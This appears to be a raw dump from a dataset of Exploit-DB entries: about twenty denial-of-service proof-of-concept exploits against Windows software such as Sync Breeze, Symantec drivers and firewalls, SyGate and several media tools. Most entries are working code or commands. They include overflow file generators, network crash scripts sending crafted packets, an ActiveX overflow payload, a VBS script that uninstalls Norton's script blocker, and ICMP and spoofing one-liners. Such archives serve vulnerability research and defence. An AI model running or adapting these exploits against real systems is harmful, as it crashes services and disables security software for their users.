deardaniel/secdata-raw huggingface dataset:
Exploit-DB #8378
Description: SWF Opener 1.3 - '.swf' Off-by-One Buffer Overflow (PoC)
Type: dos
Platform: windows
Date: 2009-04-09
Author: Stack

Exploit:
# SWF Opener .swf Off By One / Underground Bof Poc
# Probably impossible to exploit, but who knows? -_- At least, there still exist Underground stack overflows in :d
# Version: 1.3
# http://www.browsertools.net/downloads/SWFOpenerSetup.exe
# usage perl poc.pl >>xpl.swf
# In The Stack
# 0012BBE8  41 41 41 41 41 41 41 41  AAAAAAAA
# 0012BBF0  41 41 41 41 41 41 41 41  AAAAAAAA
# 0012BBF8  41 41 41 41 41 41 41 41  AAAAAAAA
# 0012BC00  41 41 41 41 41 41 41 41  AAAAAAAA
# 0012BC08  41 41 41 41 41 41 41 41  AAAAAAAA
# 0012BC10  41 41 41 41 41 41 41 41  AAAAAAAA
# 0012BC18  41 41 41 41 41 41 41 41  AAAAAAAA
# 0012BC20  41 41 41 41 41 41 41 41  AAAAAAAA
# 0012BC28  41 41 41 41 41 41 41 41  AAAAAAAA
# 0012BC30  41 41 41 41 41 41 41 41  AAAAAAAA
# 0012BC38  41 41 41 41 41 41 41 41  AAAAAAAA
# 0012BC40  41 41 41 41 41 41 41 41  AAAAAAAA
# 0012BC48  41 41 41 41 41 41 41 41  AAAAAAAA
# 0012BC50  41 41 41 41 41 41 41 41  AAAAAAAA
# 0012BC58  41 41 41 41 41 41 41 41  AAAAAAAA
# 0012BC60  41 41 41 41 41 41 41 41  AAAAAAAA
#>>poc.pl
my $bof="\x41" x 5000;
print $bof;

# milw0rm.com [2009-04-09]
Exploit-DB #9546
Description: Swift Ultralite 1.032 - '.m3u' Local Buffer Overflow (PoC)
Type: dos
Platform: windows
Date: 2009-08-31
Author: hack4love

Exploit:
#!/usr/bin/perl
# Found By :: HACK4LOVE
# hack4love@hotmail.com
# Swift Ultralite 1.032 (.M3U) Local Buffer Overflow PoC
############################################################
##EAX 00000000
##ECX FFFFFFFF
##EDX 004976F0 SwiftUlt.004976F0
##EBX 00000270
##ESP 0013F1CC
##EBP 00000000
##ESI 0013F31B ASCII"AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA"
##EDI 41414141
##EIP 00410CE0 SwiftUlt.00410CE0
#############################################################
my $crash="\x41" x 5000;
open(myfile,'>>hack4love.m3u');
print myfile $crash;
##############################################################

# milw0rm.com [2009-08-31]
Exploit-DB #45112
Description: Switch Port Mapping Tool 2.81 - 'SNMP Community Name' Denial of Service (PoC)
Type: dos
Platform: windows
Date: 2018-07-31
Author: Luis Martínez

Exploit:
# Exploit Title: Switch Port Mapping Tool 2.81 - 'SNMP Community Name' Denial of Service (PoC)
# Discovery by: Luis Martinez
# Discovery Date: 2018-07-27
# Vendor Homepage: https://switchportmapper.com/
# Software Link : http://download.switchportmapper.com/spm281.zip
# Tested Version: 2.81
# Vulnerability Type: Denial of Service (DoS) Local
# Tested on OS: Windows 10 Pro x64 es

# Steps to Produce the Crash: 
# 1.- Run python code : python Managed_Switch_Port_Mapping_Tool_2.81.py
# 2.- Open Managed_Switch_Port_Mapping_Tool_2.81.txt and copy content to clipboard
# 3.- Open spmap.exe
# 4.- Switch Group > Settings
# 6.- Paste ClipBoard on "SNMP v1/v2c Read Community Name"
# 7.- OK
# 8.- Crashed

#!/usr/bin/env python
 
buffer = "\x41" * 564
f = open ("Managed_Switch_Port_Mapping_Tool_2.81.txt", "w")
f.write(buffer)
f.close()
Exploit-DB #10904
Description: Switch Sound File Converter - '.mpga' Buffer Overflow (Denial of Service) (PoC)
Type: dos
Platform: windows
Date: 2010-01-01
Author: jacky

Exploit:
# Exploit Title: Switch Sound File Converter .mpga BOF DOS
# Date: 2009-1-1
# Author: Jacky
# Version: 0.0.0.0
# Tested on: Windows XP SP2
#Switch Sound File Converter .mpga BOF POS Vulnerability
#Discovered and written by : ( Jacky )
#Greetz to Corelan team and Peter Van Eeckhoutte !!!
#When you create a file that contains 30k of A's with .mpga extension , and load it then play it from Switch Sound File converter , it crashs !!!
my $file="Crash.mpga";
my $junk="A"x30000;
open(INI,">$file");
print INI $junk;
print "[+]File Created Successfully!\n";
print "[+]By Jacky!!!\n";
close(INI);
Exploit-DB #15378
Description: Sybase Advantage Data Architect - '.SQL' Format Heap Overflow
Type: dos
Platform: windows
Date: 2010-11-01
Author: d0lc3

Exploit:
# Exploit Title: Sybase Advantage Data Architect "*.SQL" Format Heap Oveflow RCE
# Date: 2010-10-16
# Author: d0lc3 (@rmallof - http://elotrolad0.blogspot.com/)
# Software Link: http://www.sybase.com/products/databasemanagement/advantagedatabaseserver/data-architect-utility
# Version: 10.0
# Tested on: Windows XP SP3 32 bits SPA
#Summary:
"""
From Sybase.com:
"Advantage Data Architect Utility: A complete data management system for Advantage developers.
Advantage Data Architect assists in designing, creating and maintaining the database layer of 
a developer's applications."

Advantage Data Architect is prone to heap overflow when user opens crafted script file (.SQL) 
with long data inside.
This issue causes a function pointer overwrite, allow us executing arbitrary code (UNICODE).
More info can be found on : http://elotrolad0.blogspot.com/2010/11/sybase-advantage-data-architect-sql.html
"""
EDB Admin comment:
opening the crash file alone is not enough. Once the file is open, type anything in the SQL query window and the crash will occur.
Thx d0lc3 for the clarification. 
"""

#!/usr/bin/python

sql="select * from clients where "
buf="A"*(1024*300)

crash=sql+buf+"="+buf

f=open("crash.sql",'w')
f.write(crash)
f.close()
Exploit-DB #20051
Description: Sybergen SyGate 2.0/3.11 - Denial of Service
Type: dos
Platform: windows
Date: 2000-06-30
Author: Marc of eEye

Exploit:
// source: https://www.securityfocus.com/bid/1420/info

An exploit which causes a Denial of Service to Sybergen's Sygate when run from an internal machine has been released. The exploit sends a UDP packet to port 53 of the gateway. 

//Sygate Crash by: marc@eeye.com (April-00)
//http://www.eEye.com
//Will crash Sygate (http://www.sygate.com/) when ran from the internal LAN.
//Play with source routing to get it to work across the internet.
//Just hit the Internal IP of the Sygate machine.

#include <stdio.h>
#include <arpa/inet.h>

int main (int argc, char **argv)
{
        int SockFD, addrlen, bsent;
        struct sockaddr_in UDPSock;
        char bomb[]= "changeiscoming";

        printf("Sygate Crash by: marc@eeye.com\n");
        printf("http://www.eEye.com\n\n");

        if(argc<2){
                printf("Usage: %s [server]\n",argv[0]);
                exit(1);
        }

        SockFD=socket(AF_INET, SOCK_DGRAM, 0);

        UDPSock.sin_family=AF_INET;
        UDPSock.sin_addr.s_addr=inet_addr(argv[1]);
        UDPSock.sin_port=htons(53);

        bsent=sendto(SockFD,&bomb,13,0,(struct sockaddr *) &UDPSock,
sizeof(struct sockaddr_in));

        printf("Sent Crash.\nBytes Sent: %i\n",bsent);
}
Exploit-DB #24209
Description: Sygate Personal Firewall Pro 5.5 - Local Denial of Service
Type: dos
Platform: windows
Date: 2004-06-14
Author: Tan Chew Keong

Exploit:
source: https://www.securityfocus.com/bid/10542/info

A local denial of service vulnerability is reported to affect the Sygate Personal Firewall. It is reported that the smc.exe service may be crashed using the List-View Control in the Sygate Personal Firewall GUI.

This issue may be exploited in conjunction with the issue described in BID 10540, in order to completely disable the affected firewall as an unprivileged user. 

This vulnerability is reported to affect Sygate Personal Firewall PRO version 5.5 Build 2525. Other versions might also be affected.

SendMessage(hHdrControl, HDM_GETITEMRECT, 1, (LPARAM)NON-WRITABLE_ADDR);
Exploit-DB #29743
Description: Symantec 'SYMTDI.SYS' Device Driver - Local Denial of Service
Type: dos
Platform: windows
Date: 2007-03-15
Author: David Matousek

Exploit:
source: https://www.securityfocus.com/bid/22977/info

Symantec 'SYMTDI.SYS' device driver is prone to a local denial-of-service vulnerability.

A local authenticated attacker may exploit this issue to crash affected computers, denying service to legitimate users.

This issue is similar to the one described in BID 22961. Symantec is currently investigating this issue; we will update this BID as more information emerges.

https://gitlab.com/exploit-database/exploitdb-bin-sploits/-/raw/main/bin-sploits/29743.zip
Exploit-DB #29810
Description: Symantec (Multiple Products) - 'SPBBCDrv' Driver Local Denial of Service
Type: dos
Platform: windows
Date: 2007-04-01
Author: David Matousek

Exploit:
// source: https://www.securityfocus.com/bid/23241/info

Multiple Symantec products are prone to a local denial-of-service vulnerability.

This issue occurs when attackers supply invalid argument values to the 'SPBBCDrv.sys' driver.

A local attacker may exploit this issue to crash affected computers, denying service to legitimate users. 

/*

 Testing program for Multiple insufficient argument validation of hooked SSDT function (BTP00000P002NF)
 

 Usage:
 prog FUNCNAME
   FUNCNAME - name of function to be checked

 Description:
 This program calls given function with parameters that cause the crash of the system. This happens because of 
 insufficient check of function arguments in the driver of the firewall.

 Test:
 Running the testing program with the name of function from the list of functions with insufficient check
 of arguments.

*/

#undef __STRICT_ANSI__
#include <stdio.h>
#include <string.h>
#include <windows.h>
#include <ddk/ntapi.h>
#include <ddk/ntifs.h>

void about(void)
{
  printf("Testing program for Multiple insufficient argument validation of hooked SSDT function (BTP00000P002NF)\n");
  printf("Windows Personal Firewall analysis project\n");
  printf("Copyright 2007 by Matousec - Transparent security\n");
  printf("http://www.matousec.com/""\n\n");
  return;
}

void usage(void)
{
  printf("Usage: test FUNCNAME\n"
         "  FUNCNAME - name of function to be checked\n");
  return;
}


int main(int argc,char **argv)
{
  about();

  if (argc!=2)
  {
    usage();
    return 1;
  }

  if (!stricmp(argv[1],"NtCreateMutant") || !stricmp(argv[1],"ZwCreateMutant"))
  {
    HANDLE handle;
    OBJECT_ATTRIBUTES oa;
    InitializeObjectAttributes(&oa,(PVOID)1,0,NULL,NULL);

    ZwCreateMutant(&handle,0,&oa,FALSE);

  } else if (!stricmp(argv[1],"NtOpenEvent") || !stricmp(argv[1],"ZwOpenEvent"))
  {
    HANDLE handle;
    OBJECT_ATTRIBUTES oa;
    InitializeObjectAttributes(&oa,(PVOID)1,0,NULL,NULL);

    ZwOpenEvent(&handle,0,&oa);
  } else printf("\nI do not know how to exploit the vulnerability using this function.\n");

  printf("\nTEST FAILED!\n");
  return 1;
}
Exploit-DB #28588
Description: Symantec (Multiple Products) - 'SymEvent' Driver Local Denial of Service
Type: dos
Platform: windows
Date: 2006-09-15
Author: David Matousek

Exploit:
source: https://www.securityfocus.com/bid/20051/info

Multiple Symantec products are prone to a local denial-of-service vulnerability. This issue occurs when attackers send malformed data to the 'SymEvent' driver.

A local authenticated attacker may exploit this issue to crash affected computers, denying service to legitimate users.

Please see the vulnerable systems section for details regarding affected Symantec products.

https://gitlab.com/exploit-database/exploitdb-bin-sploits/-/raw/main/bin-sploits/28588.zip
Exploit-DB #23846
Description: Symantec Client Firewall Products 5 - 'SYMNDIS.SYS' Driver Remote Denial of Service
Type: dos
Platform: windows
Date: 2004-03-18
Author: eEye Digital Security Team

Exploit:
source: https://www.securityfocus.com/bid/9912/info

Symantec Client Firewall has been reported to be prone to a remote denial of service vulnerability. The issue is reported to present itself in the TCP packet processing routines of the affected software.

It is reported that this vulnerability will have a system wide impact, causing Windows GUI and peripherals that are attached to the host to become unresponsive. A hard reset is reported to be required to restore normal functionality to the system.

https://gitlab.com/exploit-database/exploitdb-bin-sploits/-/raw/main/bin-sploits/23846.tar.gz
Exploit-DB #18916
Description: Symantec End Point Protection 11.x / Symantec Network Access Control 11.x - Local Code Execution (PoC)
Type: dos
Platform: windows
Date: 2012-05-23
Author: 41.w4r10r

Exploit:
# Symantec End Point Protection 11.x & Symantec Network Access Control 11.x Local Code Execution POC
# Date: 22/05/2012
# Author: 41.w4r10r
# Software Link: Symantec.com
# Version: 11.x
# Tested on:
#   Windows XP SP2 English
#   Windows XP SP3 English
#   Windows Vista 32Bit
#   Windows 7 32Bit
# CVE : CVE-2012-0289

Time Line:
30/08/2011 - Sent Details of the vulnerability
31/08/2011 - Symantec Requested Affected Version Details
31/08/2011 - Provided Requested Information with POC
27/09/2011 - Vulnerability Confirmed by Symantec
22/05/2012 - Advisory Released

Symantec Advisory:
http://www.symantec.com/security_response/securityupdates/detail.jsp?fid=security_advisory&pvid=security_advisory&year=2012&suid=20120522_01

Affected Products:

Symantec Endpoint Protection
11.0 RU6(11.0.600x)
11.0 RU6-MP1(11.0.6100)
11.0 RU6-MP2(11.0.6200)
11.0 RU6-MP3(11.0.6300)
11.0 RU7(11.0.700x)
11.0 RU7-MP1(11.0.710x)

Symantec Network Access Control
11.0 RU6(11.0.600x)
11.0 RU6-MP1(11.0.6100)
11.0 RU6-MP2(11.0.6200)
11.0 RU6-MP3(11.0.6300)
11.0 RU7(11.0.700x)
11.0 RU7-MP1(11.0.710x)

Affected Resource:
%%System%%\Symantec\Symantec Endpoint Protection\SSHelper.dll

===
POC
===

<?XML version='1.0' standalone='yes' ?>
<package><job id='DoneInVBS' debug='false' error='true'>
<object classid='clsid:D59EBAD7-AF87-4A5C-8459-D3F6B918E7C9' id='target' />
<script language='vbscript'>
prototype  = "Function HIDownloadURLFile ( ByVal cookie As Long ,  ByVal
url As String ,  ByVal file_path As String ,  ByVal rule_name As String ,
 ByVal cancel_message As String ,  ByVal downloading_time As Long ,  ByVal
bResume As Boolean ,  ByVal bShowProgressDlg As Boolean ,  ByVal
bAllowCancel As Boolean ,  ByVal username As String ,  ByVal password As
String ,  ByVal show_error_delay As Long ) As Long"
memberName = "HIDownloadURLFile"
progid     = "SSHELPERLib.SSHelper"
argCount   = 12
arg1=1
arg2="defaultV"
arg3="defaultV"
arg4="defaultV"
arg5="defaultV"
arg6=1
arg7=True
arg8=True
arg9=True
arg10="defaultV"
arg11= String(6003, "A")
arg12=1
target.HIDownloadURLFile arg1 ,arg2 ,arg3 ,arg4 ,arg5 ,arg6 ,arg7 ,arg8
,arg9 ,arg10 ,arg11 ,arg12
</script></job></package>
Exploit-DB #24288
Description: Symantec Norton AntiVirus 2001/2002/2003/2004 - Script Blocker Denial of Service
Type: dos
Platform: windows
Date: 2004-07-16
Author: vozzie

Exploit:
source: https://www.securityfocus.com/bid/10739/info

It is reported that Symantec Norton AntiVirus is prone to a Script Blocker denial of service vulnerability. This may result in a Symantec Norton AntiVirus Script Blocker bypass.

The privileges and zone required so that the script is successful in exploiting this issue are not known.

Symantec is currently investigating this vulnerability and this BID will be updated, as further analysis is complete. 

' get wmi
set wmi=GetObject("winmgmts:{impersonationLevel=impersonate}!\\.\root\cimv2")
' enum soft
for each e in wmi.ExecQuery("Select * from Win32_Product")
on error resume next
' uninstall script blocker part of norton
if instr(e.name,"Script") and instr(e.name,"Block") then
e.UnInstall()
end if
next

' just do what you like
set fso = createobject("scripting.filesystemobject")
fso.createtextfile("c:\byenav.txt").write "=)"
Exploit-DB #22162
Description: Symantec Norton Internet Security 2003 - ICMP Packet Flood Denial of Service
Type: dos
Platform: windows
Date: 2003-01-13
Author: Pavel P

Exploit:
source: https://www.securityfocus.com/bid/6598/info

Symantec Norton Internet Security 2003 is reported to be prone to a denial of service condition.

It is possible to trigger this condition by sending an excessive (approximately 65500 or more) number of ICMP packets to a host running Norton Internet Security. This may cause a denial of service and possible system instability.

For this issue to be present remotely, the software must be configured to allow ICMP packets and the firewall must be enabled. Otherwise, it is possible to trigger this condition locally.

It is not known if earlier versions of the software are also affected by this vulnerability.

ping targetip -l 65500
Exploit-DB #21915
Description: Symantec Norton Personal Firewall 2002/Kaspersky Labs Anti-Hacker 1.0/BlackIce Server Protection 3.5/BlackICE Defender 2.9 - Auto Block Denial of Service
Type: dos
Platform: windows
Date: 2002-10-08
Author: Yiming Gong

Exploit:
source: https://www.securityfocus.com/bid/5917/info

A weakness has been reported in some PC Firewall packages that could allow remote denial of service attacks. The problem is in the handling of spoofed traffic.

Under some circumstances, it is possible for remote users to deny service to various sites for users of PC Firewall software. By sending spoofed traffic that could be deemed malicious by the firewall software package, an attacker could effectively limit the sites a system is capable of reaching.

hping -e 13 -d 2 -s 6000 -p 2140 -2 host1.example.com -c 2 -a host2.example.com
Exploit-DB #19880
Description: Symantec pcAnywhere 8.0.1/8.0.2/9.0/9.2 - Port Scan Denial of Service
Type: dos
Platform: windows
Date: 2000-04-25
Author: Vacuum

Exploit:
source: https://www.securityfocus.com/bid/1150/info

Performing a TCP SYN or TCP connect scan on a host running Symantec pcAnywhere will cause the program to crash. Restarting the application is required in order to regain normal functionality.

nmap -sS target
Exploit-DB #22816
Description: Symantec Security Check RuFSI - ActiveX Control Buffer Overflow
Type: dos
Platform: windows
Date: 2003-06-23
Author: Cesar Cerrudo

Exploit:
source: https://www.securityfocus.com/bid/8008/info

It has been reported that the RuFSI Utility Class is vulnerable to a boundary condition error when invoked with long strings. This could potentially lead to the execution of code with the privileges of the user executing the web browser. 

<object classid="clsid:69DEAF94-AF66-11D3-BEC0-00105AA9B6AE" id="test">
</object>

<script>
test.CompareVersionStrings("long string here","or long string here")
</script>
Exploit-DB #43344
Description: Sync Breeze 10.2.12 - Denial of Service
Type: dos
Platform: windows
Date: 2017-12-15
Author: Manuel García Cárdenas

Exploit:
=============================================
MGC ALERT 2017-007
- Original release date: November 30, 2017
- Last revised:  December 14, 2017
- Discovered by: Manuel García Cárdenas
- Severity: 7,5/10 (CVSS Base Score)
- CVE-ID: CVE-2017-17088
=============================================

I. VULNERABILITY
-------------------------
SyncBreeze <= 10.2.12 - Denial of Service

II. BACKGROUND
-------------------------
SyncBreeze is a fast, powerful and reliable file synchronization solution
for local disks, network shares, NAS storage devices and enterprise storage
systems.

III. DESCRIPTION
-------------------------
The Enterprise version of SyncBreeze is affected by a Remote Denial of
Service vulnerability.

The web server does not check bounds when reading server request in the
Host header on making a connection, resulting in a classic Buffer Overflow
that causes a Denial of Service.

To exploit the vulnerability only is needed use the version 1.1 of the HTTP
protocol to interact with the application.

IV. PROOF OF CONCEPT
-------------------------
#!/usr/bin/python
import sys, socket

host = sys.argv[1]
buffer="GET / HTTP/1.1\r\n"
buffer+="Host: "+"A"*2000+"\r\n\r\n"

s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
s.connect((host, 80))
s.send(buffer)
s.close()

V. BUSINESS IMPACT
-------------------------
Availability compromise can result from these attacks.

VI. SYSTEMS AFFECTED
-------------------------
SyncBreeze <= 10.2.12

VII. SOLUTION
-------------------------
Vendor release 10.3 version
http://www.syncbreeze.com/setups/syncbreezeent_setup_v10.3.14.exe

VIII. REFERENCES
-------------------------
http://www.syncbreeze.com/

IX. CREDITS
-------------------------
This vulnerability has been discovered and reported
by Manuel García Cárdenas (advidsec (at) gmail (dot) com).

X. REVISION HISTORY
-------------------------
November 30, 2017 1: Initial release
December 14, 2017 2: Revision to send to lists

XI. DISCLOSURE TIMELINE
-------------------------
November 30, 2017 1: Vulnerability acquired by Manuel Garcia Cardenas
November 30, 2017 2: Send to vendor
December 6,  2017 3: Vendor fix the vulnerability and release a new version
December 14, 2017 4: Send to the Full-Disclosure lists

XII. LEGAL NOTICES
-------------------------
The information contained within this advisory is supplied "as-is" with no
warranties or guarantees of fitness of use or otherwise.

XIII. ABOUT
-------------------------
Manuel Garcia Cardenas
Pentester
Exploit-DB #43200
Description: Sync Breeze Enterprise 10.0.28 - Denial of-Service (PoC)
Type: dos
Platform: windows
Date: 2017-09-27
Author: Mr Bruce

Exploit:
#!/usr/bin/python
import socket
import sys

try:
  server = sys.argv[1]
  port = 80
  size = 800
  inputBuffer = b"A" * size
  content = b"username=" + inputBuffer + b"&password=A"

  buffer = b"POST /login HTTP/1.1\r\n"
  buffer += b"Host: " + server.encode() + b"\r\n"
  buffer += b"User-Agent: Mozilla/5.0 (X11; Linux_86_64; rv:52.0) Gecko/20100101 Firefox/52.0\r\n"
  buffer += b"Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8\r\n"
  buffer += b"Accept-Language: en-US,en;q=0.5\r\n"
  buffer += b"Referer: http://10.11.0.22/login\r\n"
  buffer += b"Connection: close\r\n"
  buffer += b"Content-Type: application/x-www-form-urlencoded\r\n"
  buffer += b"Content-Length: "+ str(len(content)).encode() + b"\r\n"
  buffer += b"\r\n"
  buffer += content

  print("Sending evil buffer...")
  s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
  s.connect((server, port))
  s.send(buffer)
  s.close()
  
  print("Done!")
  
except socket.error:
  print("Could not connect!")
Exploit-DB #43453
Description: Sync Breeze Enterprise 10.1.16 - Denial of Service
Type: dos
Platform: windows
Date: 2018-01-08
Author: Ahmad Mahfouz

Exploit:
# Exploit Title: Sync Breeze Enterprise Server v10.1.16 - Denial of Service
# Date: 2017-10-20
# Exploit Author: Ahmad Mahfouz
# Software Link: http://www.syncbreeze.com/setups/syncbreezesrv_setup_v10.1.16.exe
# Version: v10.1.16
# Category; Windows Remote DOS
# CVE: CVE-2017-15664
# Author Twitter: @eln1x
# Description: Sync Breeze Enterprise Server v10.1.16, the Control Protocol suffers from a denial of service. The attack vector is a crafted SERVER_GET_INFO packet sent to control port 9121.

 

import socket
target = "192.168.72.231"
port = 9121
s  = socket.socket(socket.AF_INET,socket.SOCK_STREAM)
s.connect((target,port))

packet = "\x75\x19\xba\xab\x03"
packet +="\x00\x00\x00\x01\x00\x00\x00\x1a"
packet += "\x00"
packet += "\x3e" #evil
packet += "\x00"
packet += "\x20"
packet += "\x00"
packet += "\x00"
packet += "\x00"
packet += "\x00\x00\x00\x00"
packet += "SERVER_GET_INFO"
packet += "\x02\x32\x01"
packet += "Data"
packet += "\x01\x30\x01\x00"
packet += "\x04\x02\x74"
packet += "\x18\x18\x00"

s.send(packet)

try:

         data = s.recv(100)

         print data

except:

         print "K1LL3D"